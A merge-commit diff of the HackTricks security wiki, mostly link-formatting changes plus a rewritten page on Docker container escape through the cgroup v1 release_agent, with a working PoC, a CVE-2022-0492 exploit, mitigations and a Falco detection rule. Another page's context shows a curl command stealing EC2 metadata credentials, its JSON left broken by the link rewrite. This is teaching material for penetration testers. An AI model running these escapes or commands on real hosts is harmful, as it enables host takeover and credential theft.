Merge pull request #1110 from HackTricks-wiki/research_update_src_linux-hardening_privilege-escalation_docker-security_docker-breakout-privilege-escalation_docker-release_agent-cgroups-escape_20250712_110342

Research Update Enhanced src/linux-hardening/privilege-escal...

Author: carlospolop

src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md

@@ -57,7 +57,7 @@ This approach avoids direct file downloads and leverages familiar UI elements to
 
 ## References
 
-- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
-- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
+- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
+- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
 
 {{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md

@@ -4,7 +4,9 @@
 
 **For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
 
-Original PoC:
+---
+
+## Classic PoC (2019)
 
 ```shell
 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
@@ -14,51 +16,112 @@ touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
 $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
 ```
 
-The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
+The PoC abuses the **cgroup-v1** `release_agent` feature: when the last task of a cgroup that has `notify_on_release=1` exits, the kernel (in the **initial namespaces on the host**) executes the program whose pathname is stored in the writable file `release_agent`.  Because that execution happens with **full root privileges on the host**, gaining write access to the file is enough for a container escape.
 
-1. **Prepare the Environment:**
-   - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
-   - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
+### Short, readable walk-through
 
-```shell
-mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
-```
+1. **Prepare a new cgroup**
 
-2. **Set Up the Child Cgroup:**
-   - A child cgroup named "x" is created within the mounted cgroup directory.
-   - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
+   ```shell
+   mkdir /tmp/cgrp
+   mount -t cgroup -o rdma cgroup /tmp/cgrp   # or –o memory
+   mkdir /tmp/cgrp/x
+   echo 1 > /tmp/cgrp/x/notify_on_release
+   ```
 
-```shell
-echo 1 > /tmp/cgrp/x/notify_on_release
-```
+2. **Point `release_agent` to attacker-controlled script on the host**
 
-3. **Configure the Release Agent:**
-   - The path of the container on the host is obtained from the /etc/mtab file.
-   - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
+   ```shell
+   host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
+   echo "$host_path/cmd" > /tmp/cgrp/release_agent
+   ```
 
-```shell
-host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
-echo "$host_path/cmd" > /tmp/cgrp/release_agent
-```
+3. **Drop the payload**
 
-4. **Create and Configure the /cmd Script:**
-   - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
+   ```shell
+   cat <<'EOF' > /cmd
+#!/bin/sh
+ps aux > "$host_path/output"
+EOF
+   chmod +x /cmd
+   ```
 
-```shell
-echo '#!/bin/sh' > /cmd
-echo "ps aux > $host_path/output" >> /cmd
-chmod a+x /cmd
-```
+4. **Trigger the notifier**
 
-5. **Trigger the Attack:**
-   - A process is initiated within the "x" child cgroup and is immediately terminated.
-   - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
+   ```shell
+   sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # add ourselves and immediately exit
+   cat /output                                  # now contains host processes
+   ```
 
-```shell
-sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
+---
+
+## 2022 kernel vulnerability – CVE-2022-0492
+
+In February 2022 Yiqi Sun and Kevin Wang discovered that **the kernel did *not* verify capabilities when a process wrote to `release_agent` in cgroup-v1** (function `cgroup_release_agent_write`).
+
+Effectively **any process that could mount a cgroup hierarchy (e.g. via `unshare -UrC`) could write an arbitrary path to `release_agent` without `CAP_SYS_ADMIN` in the *initial* user namespace**.  On a default-configured, root-running Docker/Kubernetes container this allowed:
+
+* privilege escalation to root on the host; ↗
+* container escape without the container being privileged.
+
+The flaw was assigned **CVE-2022-0492** (CVSS 7.8 / High) and fixed in the following kernel releases (and all later):
+
+* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
+
+Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
+
+### Minimal exploit inside a container
+
+```bash
+# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
+apk add --no-cache util-linux  # provides unshare
+unshare -UrCm sh -c '
+  mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
+  echo 1 > /tmp/c/notify_on_release;
+  echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
+  (sleep 1; echo 0 > /tmp/c/cgroup.procs) &
+  while true; do sleep 1; done
+'
+```
+If the kernel is vulnerable the busybox binary from the *host* executes with full root.
+
+### Hardening & Mitigations
+
+* **Update the kernel** (≥ versions above).  The patch now requires `CAP_SYS_ADMIN` in the *initial* user namespace to write to `release_agent`.
+* **Prefer cgroup-v2** – the unified hierarchy **removed the `release_agent` feature completely**, eliminating this class of escapes.
+* **Disable unprivileged user namespaces** on hosts that do not need them:
+  ```shell
+  sysctl -w kernel.unprivileged_userns_clone=0
+  ```
+* **Mandatory access control**: AppArmor/SELinux policies that deny `mount`, `openat` on `/sys/fs/cgroup/**/release_agent`, or drop `CAP_SYS_ADMIN`, stop the technique even on vulnerable kernels.
+* **Read-only bind-mask** all `release_agent` files (Palo Alto script example):
+  ```shell
+  for f in $(find /sys/fs/cgroup -name release_agent); do
+      mount --bind -o ro /dev/null "$f"
+  done
+  ```
+
+## Detection at runtime
+
+[`Falco`](https://falco.org/) ships a built-in rule since v0.32:
+
+```yaml
+- rule: Detect release_agent File Container Escapes
+  desc: Detect an attempt to exploit a container escape using release_agent
+  condition: open_write and container and fd.name endswith release_agent and
+             (user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
+             thread.cap_effective contains CAP_SYS_ADMIN
+  output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
+  priority: CRITICAL
+  tags: [container, privilege_escalation]
 ```
 
-{{#include ../../../../banners/hacktricks-training.md}}
+The rule triggers on any write attempt to `*/release_agent` from a process inside a container that still wields `CAP_SYS_ADMIN`.
+
 
+## References
 
+* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detailed analysis and mitigation script.
+* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
 
+{{#include ../../../../banners/hacktricks-training.md}}

src/network-services-pentesting/1099-pentesting-java-rmi.md

@@ -86,7 +86,7 @@ $ rmg enum 172.17.0.2 9010
 [+]
 [+] RMI server codebase enumeration:
 [+]
-[+] 	- http://iinsecure.dev/well-hidden-development-folder/
+[+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
 [+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
 [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
 [+]
@@ -254,8 +254,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
 [+]
 [+] References:
-[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
-[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
+[+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
+[+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
 [+]
 [+] Vulnerabilities:
 [+]
@@ -269,7 +269,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 		is therefore most of the time equivalent to remote code execution.
 [+]
 [+] 	References:
-[+] 		- https://github.com/qtc-de/beanshooter
+[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 [+]
 [+] 	-----------------------------------
 [+] 	Name:
@@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 		establish a working JMX connection, you can also perform deserialization attacks.
 [+]
 [+] 	References:
-[+] 		- https://github.com/qtc-de/beanshooter
+[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 ```
 
 ## Shodan
@@ -316,4 +316,3 @@ Entry_1:
 {{#include ../banners/hacktricks-training.md}}
 
 
-

src/network-services-pentesting/2375-pentesting-docker.md

@@ -163,7 +163,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
 #List processes inside a container
 curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 #Set up and exec job to hit the metadata URL
-curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
+curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
 #Get the output
 curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
 # list secrets (no secrets/swarm not set up)
@@ -337,4 +337,3 @@ You can use auditd to monitor docker.
 {{#include ../banners/hacktricks-training.md}}
 
 
-

src/network-services-pentesting/pentesting-web/joomla.md

@@ -65,7 +65,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
 1- What is this?
 	* This is a Joomla! installation/upgrade package to version 3.x
 	* Joomla! Official site: https://www.joomla.org
-	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
+	* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
 	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 ```
 
@@ -124,4 +124,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
 {{#include ../../banners/hacktricks-training.md}}
 
 
-

src/network-services-pentesting/pentesting-web/moodle.md

@@ -21,8 +21,8 @@ droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
     3.10.0-beta
 
 [+] Possible interesting urls found:
-    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
-    Admin panel - http://moodle.schooled.htb/moodle/login/
+Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
+Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
 
 [+] Scan finished (0:00:05.643539 elapsed)
 ```

src/todo/radio-hacking/low-power-wide-area-network.md

@@ -94,6 +94,6 @@ Force SF12/125 kHz to increase airtime → exhaust duty-cycle of gateway (denial
 
 ## References
 
-* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
-* Trend Micro LoRaPWN overview – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
+* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
+* Trend Micro LoRaPWN overview – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
 {{#include ../../banners/hacktricks-training.md}}